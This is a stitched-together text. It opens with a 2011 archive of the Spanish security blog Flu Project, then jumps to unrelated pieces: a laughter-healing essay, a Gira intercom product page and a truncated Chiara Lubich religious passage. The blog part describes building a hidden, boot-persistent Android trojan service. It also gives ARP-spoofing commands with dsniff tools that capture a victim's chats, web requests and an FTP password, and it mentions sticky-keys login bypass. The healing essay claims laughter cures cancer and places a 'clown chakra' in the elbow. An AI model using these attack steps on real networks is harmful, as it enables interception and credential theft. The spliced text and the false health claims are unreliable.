Flu Project: septiembre 2011\nBuenas a todos, como muchos ya sabréis, nuestro blog fue nominado a los premios Bitácoras 2k11 en la categoría de Seguridad Informática, que entrega el periódico La Información a los mejores blogs de Internet. En los primeros resultados parciales, estuvimos nominados en un impresionante 3er puesto, lo que nos alegró mucho a toda la gente que estamos detrás de Flu Project. En el 2º parcial de las nominaciones hemos descendido un poco, y nos encontramos actualmente en 9º puesto (nada despreciable para los apenas 10 meses que lleva activo nuestro blog).\nSi queréis votárnos en estos premios únicamente tenéis que pulsar en el botón que tenéis en el menú de la derecha, o acceder desde el siguiente link:\nUna vez dentro, deberéis registraros o autenticaros simplemente con vuestras cuentas de Twitter o Facebook. Una vez estéis autenticados, veréis que automáticamente saldremos en el apartado de vuestra votación a mejor blog de seguridad informática y tan solo deberéis pulsar el botón "votar".\nComo buenos g33ks, Pablo y yo nos hemos hecho un imán de nevera/coche al más puro estilo de elecciones políticas estadounidenses para pedir el voto :) Si nos votáis no os podremos ofrecer bajadas de impuestos (ya nos gustaría la verdad), pero si que prometemos no perder la esencia con la que comenzó Flu Project, y seguiremos día tras día, llueva, nieve o caigan chuzos de punta bloggeando, contando nuestras experiencias y aprendiendo con vosotros :)\nEtiquetas: blog, blog comunitario, Blog News, Flu\nPublicado por Juan Antonio Calles en 2:05 No hay comentarios:\nEtiquetas: antivirus, Conceptos, malware, Seguridad\nPublicado por Juan Antonio Calles en 2:05 12 comentarios:\nEtiquetas: Conceptos, hacking, tacticas de guerra, tecnicas, web\nPublicado por Juan Antonio Calles en 2:01 33 comentarios:\nEtiquetas: android, Exploiting, hacking, Metasploit, POC, Seguridad\nDespués de haber pasado un par de semanas conociendo el API para manejar Wifi que proporciona Android, vamos a cambiar de tercio proponiéndonos como reto la migración de Flu a plataformas móviles.\nComo todos sabemos, el proyecto Flu es un desarrollo orientado al control remoto de máquinas a través de un troyano. Nuestro objetivo principal será mantener la arquitectura cliente - servidor original de Flu, únicamente variando y adaptando la parte del servidor a dispositivos móviles Android.\nLa finalidad de todo esto es lograr exportar el potencial de la idea de Flu a un escenario completamente nuevo que puede aportar cosas muy interesantes, tantas, que necesitaremos de vuestras propuestas y colaboración para poder exprimir la idea al máximo.\nPara el desarrollo de este proyecto seguiremos tres fases fundamentales:\nFase troyano: En esta fase se desarrollará y se explicará cómo introducir en una aplicación Android código "malicioso". Lo que se pretende con esto es generar una capa oculta al usuario, de forma que al ejecutar una aplicación (aparentemente inofensiva) se instale un servicio permanente cuyo fin sea ejecutar órdenes obtenidas de un cliente web.\nFase de lectura de órdenes: En esta fase se mostrará cómo se parsea contenido xml en Android, en concreto se parseará el código xml que generemos con la herramienta Flu.\nFase de ejecución de órdenes: En esta última fase veremos y definiremos qué órdenes podremos ejecutar en el teléfono móvil.\nEmpezando por la fase troyano, hoy mostraremos cómo construir un servicio permanente en Android que se ejecute siempre que el usuario encienda su dispositivo móvil.\nUn servicio (clase Service) es un proceso asociado a una aplicación que se usa generalmente para hacer tareas con las que el usuario no tiene interacción. Para entenderlo mejor, un ejemplo de servicio que podemos ver en nuestro teléfono móvil Android es el servicio de la aplicación whatsapp cuya tarea principal es comprobar si tenemos mensajes en el servidor dirigidos a nosotros.\nAhora vamos a crearnos nosotros uno. Creamos un nuevo proyecto Android con una clase principal Main que hará las funciones de aplicación benévola y lanzará nuestro servicio. La actividad Main vamos a dejarla, en términos de diseño, tal y como se nos ofrece al crear el proyecto, salvo por un par de líneas extra que lanzarán el servicio. El código de la actividad Main tendrá este aspecto:\nComo podemos observar, creamos una instancia de la clase Intent con la particularidad de que la clase Trojan simplemente se dedicará a interceptar eventos. El evento que nos interesa interceptar, en este caso, es el de inicio o arranque del sistema operativo del dispositivo móvil. Una vez que un sistema Android ha iniciado envía una acción broadcast llamada android.intent.action.BOOT_COMPLETED, nuestro objetivo es interceptar dicho evento. Para interceptar eventos, debemos crearnos una clase que herede de BroadcastReceiver, que será la encargada de interceptar los eventos que indiquemos en el fichero AndroidManifest.xml. La clase Trojan que intercepta eventos tendrá este aspecto:\nDentro de esta clase aprovecharemos para lanzar un servicio que se ejecute temporalmente. La forma de lanzar un servicio es muy parecida a la de lanzar una nueva actividad, simplemente creamos una nueva instancia de Intent con la clase destino Servicio, e iniciamos dicho servicio mediante el método startService propio de la clase Context. La clase Servicio será distinta a una actividad normal, en vez de heredar de Activity heredaremos de Service.\nAl heredar de Service debemos reescribir algunos métodos, en este caso nos interesan los métodos onCreate y onStart. Al crearse, el servicio entrará en el método onCreate donde le diremos que cree un Timer, que será el encargado de gestionar que la tarea del servicio se haga de forma periódica. En el método onStart, crearemos la tarea periódica TimerTask y se la pasaremos a nuestro timer para que la ejecute cada 30 segundos. En cada ejecución sacaremos un log en el depurador, de forma que podamos observar que el servicio se está ejecutando tal y como deseamos.\nTodavía falta nos falta el último paso, indicar al AndroidManifest.xml el servicio, el broadcast receiver, el evento a interceptar y los permisos necesarios. Nuestro fichero AndroidManifest.xml quedaría de la siguiente forma:\nComo podemos ver, tenemos declarados nuestra actividad Main, el receiver Trojan registrado al evento android.intent.action.BOOT_COMPLETED de inicio del sistema, el servicio y los permisos para registrarse al evento de inicio del sistema.\nSi nos fijamos, nuestro servicio no aparece en las aplicaciones activas del teléfono, pero sí que podremos encontrarlo en servicios en ejecución. Más adelante intentaremos que esto no ocurra, cambiando de estrategia o camuflándolo de alguna manera. Esperemos que esto os sirva ya que este esquema puede ser aplicable a muchos más escenarios del que aquí proponemos.\nComo siempre, os adjunto el código.Saludos!!---Descarga Proyecto\nEtiquetas: android, anti-depredadores, Conceptos, Flu, malware, POC, Security Flu, Seguridad\nDamos comienzo al resumen de la semana 38 de Flu. Disfrutad del resumen:Lunes 19 de Septiembre\nEl lunes os contamos como vivimos nosotros la NcN2k11 en nuestras Memorias de la No cON Name 2011\nPara los que no pudísteis asistir a nuestra ponencia en No cON Name, os dejamos a continuación las diapositivas y el vídeo con la entrevista que nos realizó GlobbTV: Diapositivas de nuestra ponencia en No cON Name 2011: “Técnicas oscuras para combatir la pederastia en Internet”\nEl miércoles Pablo nos habló sobre Linux y pendrives en sus Tácticas de guerra: Linux en tu pendrive\n¿Queréis compartir conexión entre equipos? Creando un AD-HOC con WPA2 en Windows 7\nSeifreed nos trae el artículo: Autenticación de SSH con clave pública usando PuTTYgen\n¿Queréis una mochila de Flu?, no dejéis de ver este post: Crea tu propia Flu-Mochila, gracias a Miriam\nEtiquetas: cifrado, Enlaces semana, Linux, No cON Name, noticias, redes, Seguridad\nBuenas a todos, el pasado lunes os contábamos que durante la cena del congreso No cON Name 2011 conocimos a Miriam, una de las organizadoras, que nos sorprendió con una mochila muy chula con nuestra mascota Flu que se había hecho a partir de una de nuestras camisetas, en concreto las de la 2ª temporada que llevamos al congreso Rooted Con 2011.\nNos gustó tanto que Miriam se comprometió a escribir un pequeño manual paso por paso sobre como convertir las camisetas en Flu-Mochilas y aquí lo tenéis para los que os animéis :)\nGracias Miriam, saludos!\nEtiquetas: Blog News, Flu, Humor, No cON Name\nPublicado por Juan Antonio Calles en 2:05 3 comentarios:\nEtiquetas: Conceptos, POC, SSH, utilidades\nCon Windows 7 la vida se nos facilita a continuación muestro como se puede crear una red ad-hoc para poder compartir la conexión a Internet.\nBuscamos el apartado de redes inalámbricas\nTal y como vemos en la imagen le damos a Agregar\nLe damos a crear la red de Ad-hoc\nAquí te explica que es una red Ad-hoc y demás\nAquí configuramos la red, la contraseña\nY ahora se empezará a crear la red Ad-hoc\nAhora nos da un resumen de la red y, además nosa la posibilidad de compartir la conexión a Internet\nY se está compartiendo la conexión a Internet\nAhora cambiamos estas opciones para poder compartir la conexión a Internet.Y por fin ya tenemos el ad-hoc creado en Windows 7\nPublicado por Juan Antonio Calles en 2:05 2 comentarios:\nEtiquetas: Blog News, Conceptos, redes, wifi, Windows\nUna de las cosas que una persona, ya sea profesional o no de las tecnologías de la información, tiene que tener claro es que nunca se sabe dónde puede acabar, ni a qué máquinas se puede enfrentar. Por lo que es interesante disponer siempre de un pendrive con un live CD a mano. Incluso podríamos pensar que sería útil que esta herramienta esté lo más oculta posible, ¿por qué? nunca se sabe cuáles pueden ser nuestras intenciones, ni si alguien nos vigila. Cuando vamos a los exámenes de las certificaciones, sean cual sean, no nos dejan entrar con dispositivos móviles, ni cartera, pero... las llaves no hacen mal a nadie, sólo son llaves ¿o no? Pero si me doy una vuelta por el mercado chino, como Focalprice o DealExtreme, puedo encontrar llaves USB o pendrives con forma de llaves reales, las cuales puestas en tu llavero de casa pasa totalmente desapercibido.\nPara ver el efecto os adjunto una imagen del pendrive, 4 o 8 GB por un precio bajo y con forma de llave, muy interesante... Bien, visto el tema desde el punto de vista de la ocultación al mundo de lo que uno puede albergar en su llave USB, pensemos y si en mi llave aparte de almacenar mis documentos, recomendable llevar la información sensible cifrada por si se perdiera, tengo todo un sistema operativo booteable, por ejemplo un Linux. Imaginaros el potencial de mi llave, pasa totalmente desapercibida y puedo montar un sistema operativo en segundos. ¿Para qué puedo utilizar esto? Bien, quizá en algún momento de tu vida te enfrentes a la necesidad de montar un sistema Linux para obtener el fichero SAM, o la posibilidad de obtener las contraseñas de una BIOS, por otro lado puede ser interesante para montar un entorno en el cual no se grabe nada y sea de 'usar y tirar'. Una de las cosas más interesantes es la posibilidad de cargar un linux para realizar el 'sticky keys', una técnica interesante para saltarse la pantalla de login de un sistema windows. Interesante también es la posibilidad de montar el sistema de ficheros, siempre y cuando este no esté cifrado, de un linux o windows y poder 'toquetear' documentos de otros usuarios, recordad que de esta manera se podría realizar un análisis forense 'casero'. Hay un sin fin de objetivos y desde el punto de vista de la seguridad es interesante poder tener un sistema booteable como Backtrack, Blackbuntu, Wifiway... ¿Qué elegís?\nCreando el sistema booteable\nLa primera recomendación cuando se adquiere el USB es formatearlo en una sandbox, no vaya a ser que venga de China con regalo. No tiene porqué pasar nada, pero sabemos que en este mundo más vale prevenir que curar. Una vez la llave esté formateada podremos utilizar programas, como unetbootin, para eligiendo el archivo ISO nos prepare la llave para que nuestro sistema linux sea booteable de manera rápida y fácil.\n¿Vosotros disponéis de vuestra táctica de guerra en un pendrive? Contarnos para que utilizaríais vuestro sistema booteable.\nPublicado por Juan Antonio Calles en 2:05 5 comentarios:\nEtiquetas: Conceptos, Linux, tacticas de guerra, usb\nEtiquetas: anti-depredadores, Blog News, No cON Name, Seguridad\nEl pasado Miércoles 14 de Septiembre de 2011 se dio lugar en Barcelona una nueva edición del congreso sobre seguridad informática No cON Name. El congreso contó con 2 días de formaciones con profesionales de la talla de Juan Garrido (SilverHack), Sergio González (Anelkaos), Ricardo J.Rodriguez (el cual fue un placer desvirtualizar y charlar con él), Jordi Linares (con un curso muy interesante sobre forense en Windows).\nLlegó el día de las ponencias, abriendo Iñaki Rodriguez con su Kung Fuzz, después llegó el turno de nuestro ya amigo Ricardo dando una visión nueva sobre como diseñar sistemas seguros utilizado UML. Estuvimos hablando con él en el Coffee Break, sobre nuevas posibilidades y vías de trabajo. Ricardo cuando compraste la taza, ya te convertiste en uno de los nuestros :P, ¡estás inFLUenciado! Que no infectado… ;)\nDespués del Coffee Break asistimos a una pequeña sesión de Hip Hop de la mano de Yago F. Hansen, el cual dio una charla magistral sobre geolocalización WiFi basada en API. Fue una de esas charlas que consiguieron hacer pensar al público a través del show y de una dinámica impresionante.\nLa comida del viernes fue interesante, en el café & té, dónde la comida de la carta y la realidad eran pura coincidencia. Estuvimos con unos amigos reunidos y expresando ideas de lo visto hasta el momento. Después llegó Chema Alonso y Juan Garrido (SilverHack) para darnos una visión global de lo que ellos llaman las “Hackplications”. Después Pedro Sánchez volvió a realizar una charla magistral sobre la demostración JWID. Y llegó el ciclón Shawn Merginger con su ponencia sobre la seguridad en dispositivos médicos. La verdad que fue una visión muy extravagante y algo no muy visto hasta la fecha. Finalizó el día con la mesa redonda sobre ataques a grandes corporaciones, moderada por Xavier Vidal, dónde fuimos nombrados por algún que otro miembro de las fuerzas de seguridad del estado. La verdad que parecía que nuestra charla estaba levantando inquietudes, mucho debate sobre el fin de semana, la presión me encanta.\nEl viernes tuvo lugar la cena del congreso, la verdad que se llenó la cena con a priori unos 80 comensales. Muy interesante el poder dialogar con la gente y conocer nuevos puntos de vista, entre filete y filete, entre los ponentes y miembros de la organización. Además tuvimos el placer de conocer a Miriam, quien nos sorprendió con una mochila muy bonita que había hecho con las camisetas que vendimos en la pasada Rooted Con :)\nLlegó el gran día, el día en que los pequeños jugaban en primera. Flu Project llegaba a la No cON Name con la intención de mostrar una realidad que es palpable y que trae un debate moral en la sociedad, hacer el mal para conseguir el bien, ¿remodelación de leyes? Pero antes de todo esto, tuvimos que pasar por la cafetería del CosmoCaixa, el bocadillo de tortilla así lo merecía. A las 9.00 de la mañana ante las cámaras de GlobbTV comenzamos con un cosquilleo en el estómago la charla. Durante los 20-25 primeros minutos, un servidor, estuvo hablando sobre cómo está la cosa actualmente, sobre conceptos, realizando la presentación, para después dar paso a Juan Antonio, el cual se encargó durante 10 minutos de dar un tostón de leyes el cual trajo consecuencias. Después Juan Antonio se encargó de amenizar la charla con el caso de éxito y de divertir a la gente con la demostración de uso de Flu-AD. Las conclusiones eran claras: necesidad de una mejora del código penal, concienciación a los padres, el uso de malware de forma benigna puede ayudar y mucho a evitar el abuso de víctimas en la red y Flu-AD se ha iniciado con éxito en su primer caso real de Cibergrooming en Colombia de la mano de Anti-Depredadores. Mañana colgaremos en el blog las diapositivas de la charla.\nDespués conocimos a unas personas muy interesantes, el señor Pedro Fortuny de la Universidad de Oviedo y Rafael Casado, los cuales nos enseñaron un nuevo mecanismo de autenticación bastante seguro, tanto en la teoría como en la práctica, The Sibyl. Enorme Pedro en tu oratoria.\nRafael Rodríguez dio una charla bastante interesante sobre los casinos online, tragaperras, y digamos otras chicas del lugar ;) La inseguridad para jugones no dejó indiferente a nadie. Después vino la entrega de premios del concurso, en el que un compañero mío de Informática 64 ganó el segundo premio, su nombre David Luengo (aKa Canario o DuST). Llegó el momento más importante del día, la comida, esta vez tocó un poco de Pizza. Llegó el momento de un jugón y no me refiero a Messi que lo tienen en Barcelona por todos los carteles, me refiero a José Selvi, su charla sobre debugging de payloads de lo más demandado del congreso. Después apareció en escena Javier Moreno, con una charla sobre el retorno de inversión en la adecuación a la normativa PCI-DSS. Esta charla daba un punto de vista distinto a todo lo técnico que se podía haber visto antes. Después llego Sebastián Guerrero con una gran charla sobre reversing/forensic en Android. Lástima no haber conocido a Sebas… Y por último, una persona que he tenido el placer de conocer, Lorenzo y su mesa redonda sobre la seguridad aplicada a las empresas, ¿es importante el dinero o la seguridad?\nDespués un poco de hotel, ducha, cambio de camiseta y a la discoteca.\nComo anécdota, pero antes de nada dar las gracias al equipo de GlobbTV que nos trataron genial y a Bea por su simpatía. Bien, cuento la anécdota, Bea en la entrevista se equivocó de nombre conmigo, mi nombre es Pablo González, no Pablo Rodríguez, te lo perdonamos, pero que no vuelva a pasar :P Enorme trabajo en la entrevista, felicidades de verdad ;) por cierto mi teléfono es… :P\nMañana colgaremos las diapositivas de nuestra ponencia, y linkaremos (si lo cuelgan nuestros amigos de GlobbTV) el video de la entrevista que nos realizaron tras la charla.\nPublicado por Juan Antonio Calles en 2:01 6 comentarios:\nEtiquetas: android, anti-depredadores, Blog News, Entrevistas, Exploiting, Flu, hack, hacking, Humor, malware, Metasploit, No cON Name, Seguridad, wifi\nDamos comienzo al resumen de la semana 37 de Flu. Disfrutad del resumen:Lunes 12 de Septiembre\n¿Se puede clonar un Firefox con toda la información que el navegador disponga en sus archivos de configuración? La respuesta, como no... es afirmativa.\nPresentación mundial de Liberad A Wifi, o LAW, desarrollada principalmente por Miguel Ángel Moreno, gran amigo y mejor desarrollador ;) La funcionalidad de la aplicación no es nada, aún, con lo que está por venir.\nEl señor Juan Antonio Calles nos cuenta un poco de Satori, y como hacer Fingerprinting.\nNos preparábamos para la No cON Name 2k11, con toda la ilusión del mundo, y necesitábamos subvencionar el proyecto, ¡camisetas y tazas para todos!\nSeifreed o Marc Rivero nos traía un artículo muy interesante sobre las distintas herramientas de la suite Dsniff. Todo un placer tener un colaborador tan importante para nosotros, esperemos que te haya gustado la camiseta, un abrazo Marc.\n¿Y tu web por cuánto dinero la venderías? enterate de lo que vale tu website, por si vienen los de Google o Microsoft con las rebajas ;)\nEl Sábado estuvimos en el congreso No cON Name de Barcelona 2011, y como dije en la charla fue un orgullo para nosotros estar rodeados de gente tan grande, siendo tan pequeños como somos. Gracias a la organización por el trato recibido y por toda la fiesta de Barcelona, señores... arriba esas resacas :)\nEtiquetas: android, arp, Enlaces semana, firefox, No cON Name, noticias, sniffing\nUn buen amigo, el gran Goode, me escribió un mail bastante curioso con el ausnto: "ya te puedes retirar xDDD". Al abrir el correo, ¡sorpresa! me encuentro un link a una página web 'How Much Is My Website Worth?' curioso... Y de repente Flu Project website 14,100 dólares, no está nada mal ¿no?\nDespués de pensar en vender y vender, me surge la pregunta ¿quién te compra esto por ese dinero? jajajaja, en serio, tras diversas preguntas mentales llego a la gran pregunta como realizan el cálculo de dinero que vale un website. Entiendo, o mi razón me lleva a pensar, que quizá sea por número de links que apunten a ti, también influya el page rank, quizá sea la importancia que tienes en otros sitios web, ¿alguno de vosotros me podéis sacar de este dilema?\nY llegamos a otra pregunta y google, ¿Cuánto cuesta su website? Pues lo probamos y... 14,100,000,000 dólares, ná calderilla... :)\nPublicado por Juan Antonio Calles en 2:05 1 comentario:\nEtiquetas: Blog News, curiosidades, utilidades\nYa he hablado en otras ocasiones de ARP Spoofing esta vez lo haremos desde Linux además veremos como vamos viendo los datos que vamos capturando.\nYo las pruebas las haré con Bacltrack-R1\nPrimero de todo miramos si tenemos ip_forwanding habilitado\nroot@bt:~# cat /proc/sys/net/ipv4/ip_forward0\nAhora hacemos ARP Spoofing\nroot@bt:~# arpspoof -i eth0 -t 192.168.57.2 192.168.57.141\nHacemos arpspoof poniendo la interfaz, la dirección del router y la ip de la víctima. Podremos ver como va haciendo el spoofing\n0:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a90:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a90:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a9\nAhora con msgsnarf analizaremos los mensajes que se emiten por emsanjería instantánea,por IRC etc..\nroot@bt:~# msgsnarf -i eth0\nCuando la víctima utilice un servicio de mensajería instantánea nos saldrá en vivo que está haciendo:\nmsgsnarf: listening on eth0Aug 22 18:25:58 IRC *** victima (~victima@CJ-emenrf.user.operador.com) has joined channel #xchatAug 22 18:28:22 IRC OPNNLzerg > victima: VERSIONAug 22 18:28:31 IRC *** victima (~victima@80.174.134.115.dyn.operador.operador.com) has joined channel #soopaAug 22 18:28:38 IRC victima > #soopa: Hi guys\nAhora usaremos urlsnarf para ver las peticiones HTTP que hace el usuario\nroot@bt:~# urlsnarf -i eth0\nY podemos ver las peticiones que hace el usuario:\nurlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]192.168.57.141 – - [22/Aug/2011:18:33:31 +0200] “GET http://www.dragonjar.org/ HTTP/1.1″ – - “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/BT5-BT5.R1-1.jpg&w=200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/Seguridad-Facebook.jpg&w=200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/BackTrack5R1-300×114.jpg&w= 200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2010/06/SamuraiWeb.jpg&w=200&h =200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”\nY ahora con drifnet lo que haremos será recoger todas las imágenes que la víctima mientras va navegando va encontrando Y por último con dsniff capturamos las contraseñas de aquellos servicios en que las contraseñas van en texto plano\ndsniff: listening on eth0—————–08/22/11 19:06:24 tcp 192.168.57.148.1157 -> servidor.21 (ftp)USER dragonjarPASS @dragonjar\nY con esto ya hemos trabajado con la suite de dsniff\nEtiquetas: arp, hacking, POC, Seguridad, sniffing, spoofing\nPublicado por Juan Antonio Calles en 2:06 2 comentarios:\nEtiquetas: Blog News, No cON Name\nBuenas a todos, durante los últimos meses son muchos los artículos que hemos dedicado a las fases de búsqueda de información realizadas durante las auditorías de seguridad de la información, hemos hablado de Footprinting y de Fingerprinting Activo, pero hasta el momento no habíamos dedicado unas líneas al Fingerprinting Pasivo.\nPara los que no estén familiarizados con la diferencia del Fingerprinting Activo y el pasivo, este primero se caracteriza en que el atacante realiza alguna acción que provoca una respuesta en la víctima, mientras que el Pasivo se limita a escuchar los paquetes de una red local, por tanto pasa totalmente desapercibido.\nUn ejemplo de Fingerprinting Activo sería Nmap, de la que ya hemos hablado en el blog. Y un ejemplo de Fingerprinting Pasivo sería Satori, a la que dedicaremos la entrada de hoy.\nSatori es una herramienta dedicada expecíficamente a intentar averiguar el Sistema Operativo de cualquier equipo de la red, analizando el comportamiento de los mismos para algunos protocolos como los siguientes:\nSatori cuenta con versiones para Linux y Windows, esta última utiliza WinPcap para poner la tarjeta en modo promiscuo.\nPodéis descargar la última versión de Satori desde el siguiente enlace: http://myweb.cableone.net/xnih/\nTras descomprimirlo os encontraréis con los siguientes archivos. Debéis ejecutar satori.exe:\nTras ejecutar Satori, veréis la siguiente pantalla. Para comenzar deberéis pulsar sobre la flecha verde:\nAhora debéis seleccionar la interfaz de red que queréis utilizar:\nY listo, ya habréis comenzado a capturar paquetes. Ahora Satori intentará averiguar el sistema operativo/firmware de los equipos encontrados en la red, de los que ha ido capturando paquetes, para ello analizará las direcciones "MAC". Como sabréis, los seis primeros símbolos de una MAC identifican al fabricante (para saber el fabricante de un dispositivo a través de su MAC podéis utilizar algún servicio como http://www.coffer.com/mac_find/):\nUna herramienta imprescindible para nuestra caja de herramientas.\nEtiquetas: Conceptos, Fingerprinting, redes, Seguridad\nClonando tu Firefox con todo lo que ello conlleve....\nTeamviewer: El control del ordenador en tu bolsill...


El poder curativo del buen humor.\nDurante nuestra vida hay etapas en la que las cosas nos empiezan a salir muy bien y cuando parece que al fin hemos encontrado la paz buscada, de repente, todo empieza a cambiar, perdemos amigos, empleo, amantes, se nos rompen las cosas de la casa, el auto. Parece que la suerte se nos escapa de las manos. En esta etapa nos olvidamos del humor, que nos ofrece la curación, nos permite buscar nuevas perspectivas, no es que, transformemos las penas en comedia pero sí, nos permite sentirnos más libres y abiertos a cambiar la mala racha. Con el humor podemos darle una luz positiva a las situaciones agobiantes.\nYa desde los comienzos de la historia el humor fue muy usado, los antiguos griegos enviaban comediantes a sus enfermos para que se curasen, por otro lado, los monarcas solían enviar sus bufones para conquistar la buena voluntad y moderar los conflictos de los reinos que visitarían. También, los aborígenes de América usaban el humor para curar, ya que sus curanderos oficiaban de payasos ante los enfermos. El humor es creativo y la risa puede derribar el universo que nuestras penas mantienen inmóviles.\nEs sabido que el pánico, las conmociones y las crisis, provocan problemas cardíacos, que la reproducción de glóbulos blancos se inhibe a causa de una hormona que es liberada en estados de estrés, alterando el sistema inmunológico. Nuestro bienestar esta determinado en gran medida por nuestras emociones y pensamientos, y el humor y la risa pueden provocar un cambio importante en nuestro estado. La jovialidad abre nuestro chakra del payaso, que esta ubicado en el codo. La risa provoca la vibración de todo el cuerpo, pone en acción a la musculatura, aumenta la circulación sanguínea producto de la aceleración del ritmo cardíaco, incrementa la asimilación de oxígeno mejorando la respiración. Las reacciones son similares a una clase de gimnasia, o a un regular y sostenido ejercicio físico. La risa es como en aerobismo interno, libera endorfinas y cambia la tensión emocional. Produce un cambio de actitud fundamental en el proceso de sanación de un enfermo. Las imágenes mentales positivas y la risa hacen que los linfocitos se multipliquen favoreciendo la curación de los enfermos de cáncer. El temor a caer en ridículo, a ser reprobado o rechazado hace que generalmente haya un bloqueo ante la risa. Estas reacciones son producto de los mensajes que hemos recibido durante la infancia, como cuando nos decían que no nos riéramos como estúpido, lo que nos llevaba a pensar que el reírse era de estúpidos, o cuando no decían que era hora de crecer y ponerse serio, como si la seriedad fuese sinónimo de ser adulto. La alegría se ha suspendido para formar un adulto serio, pero si recogemos el supuesto tonto interno posiblemente tengamos éxitos y podremos ver las cosas con otra luz. No es innata la concepción humorística de la vida, hay que aprender a desarrollarla, uno no sale divertido del útero materno.\nA veces, las tragedias sucedidas durante nuestra infancia nos hacen chistosos para ocultar el dolor pero, con el tiempo, se puede aprender que el humor nos acerca a la alegría, a lo simple y al optimismo, nos permite elevar el espíritu. Considerando que el estrés es una reacción ante un hecho, debemos aprender a soltarnos, a desapegarnos de lo que ayer funcionaba bien y hoy ya no. Es necesario aprender a ser pacientes y amables con nosotros mismos, tener en cuenta que el alma es nuestra esencia, a entregarnos a los momentos de gozo y de éxtasis, donde el humor nos permite volar. Se dice que tener un corazón alegre es como tener un médico permanentemente. El humor actúa como un estimulante que limpia la sangre, reanima el cuerpo, lo rejuvenece y lo hace apto para ser usado nuevamente. Puede ser utilizado como una eficaz terapia, siendo un muy buen ejercicio físico. La risa destruye las murallas de la melancolía.\nEl humor y la risa eliminan las emociones negativas y permiten el desarrollo de las emociones positivas que nos proporcionan experiencias vivificantes, contribuyendo a la curación y a la sanación.


Intercomunicación móvil: controlar el equipo de intercomunicación desde el teléfono inteligente\nVista general Intercomunicación Intercomunicación móvil\nAcceso móvil: altamente cifrado y con nuevas funciones\nDesde la WLAN de su casa o cuando esté fuera: desde los teléfonos inteligentes iOS y Android, se accede al equipo de intercomunicación a través de la gateway de IP/intercomunicación. El cifrado de la comunicación con el estándar Secure Data Access, que también se utiliza en el Gira S1, garantiza la máxima seguridad. Además, la apertura de la puerta está protegida mediante un PIN.\nEarly Media, llamadas de grupo y el galardonado diseño de interfaces de Gira permiten saber desde cualquier sitio quién se encuentra ante la puerta. En la primera versión, las imágenes se actualizan dos veces por segundo. Gracias a Early Media, podrá ver quién llama a la puerta antes de iniciar la conversación. De ese modo, las conversaciones no deseadas serán cosa del pasado.\nVisualización de imagen sin recepción de llamada\nSe puede atender la llamada a la puerta\nIntroducción del PIN para abrir la puerta\nMenú de introducción del Connector ID / datos de acceso\nLa configuración se realiza, como viene siendo habitual, con el navegador web de la gateway de IP/intercomunicación. Además, es preciso registrarse y hacer la asignación a través del portal de Gira. No se guardan archivos de audio ni de vídeo. Gracias a la aplicación de intercomunicación de Gira, desde el terminal se pueden ver las llamadas a la puerta, hablar y, si se desea, abrir la puerta directamente. El usuario recibe un aviso cada vez que alguien llama a la puerta aunque la aplicación no esté activa en un segundo plano (por ejemplo, porque se ha reiniciado el terminal). Mediante Push Notification, la aplicación de intercomunicación de Gira avisa al usuario de que alguien ha llamado a la puerta aunque esté "inactiva" o "cerrada". Esto contribuye, además, a prolongar la duración de la batería del terminal. Para que se pueda atender la llamada a la puerta, no es preciso que el terminal esté desbloqueado.\nLa aplicación de intercomunicación de Gira en la iTunes Store\nLa aplicación de intercomunicación de Gira en la Google Play Store\nTodas las funciones se pueden incorporar en dispositivos ya instalados. Para ello, Gira ofrece una actualización gratuita del firmware para la gateway de IP/intercomunicación ya instalada.


Chiara Lubich: La Familia de Nazaret | Movimiento de los Focolares\nEstás aquí: Home > Espiritualidad > Chiara Lubich: La Familia de Nazaret\nChiara Lubich: La Familia de Nazaret\nPara venir al mundo, Dios escogió una familia. Bastaría esto para comprender la naturaleza irremplazable del microcosmos social que tiene como modelo inalcanzable la Familia de Nazaret. De un discurso de Chiara Lubich una luz para cada uno de sus miembros.\nCreo que para volver a dar a la familia su verdadero rostro, para devolverle su esplendor, junto a los discursos, a las advertencias, a las directivas, (…) sirva aquel ejemplo luminoso y universal que la Sabiduría eterna inventó: la familia de Nazaret. Todas las familias del mundo que existen y que existirán, pueden mirarla como modelo y tipo. Y no sólo las familias, cada uno de sus componentes puede inspirarse en ella para saber qué comportamiento debe adoptar, qué actitudes debe asumir, qué relaciones tiene que reavivar, qué virtudes tiene que cultivar.\nCualquier hombre de la tierra que sea esposo y padre, siempre podrá encontrar en José, el Esposo de María, el padre adoptivo de Jesús, una luz, un estímulo, una fuente de inspiración. De él aprenderá la fidelidad a toda prueba, la castidad heroica, la fuerza, la laboriosidad silenciosa, el respeto, la veneración, la protección a la madre de sus hijos, la participación en las preocupaciones familiares…\nY toda mujer, que sea esposa y madre, podrá descubrir en María su propio “deber ser”, la igualdad con el hombre y la propia identidad. En la esposa de José verá plenamente realizado el deseo de ser protagonista también ella; gracias a María comprenderá cómo ir más allá del círculo familiar y difundir, para el bien de muchos, las riquezas que le son propias: la capacidad de sacrificarse, la interioridad que la hace segura, la religiosidad que la distingue, la necesidad innata de elevarse y de elevar irradiando candor, belleza, 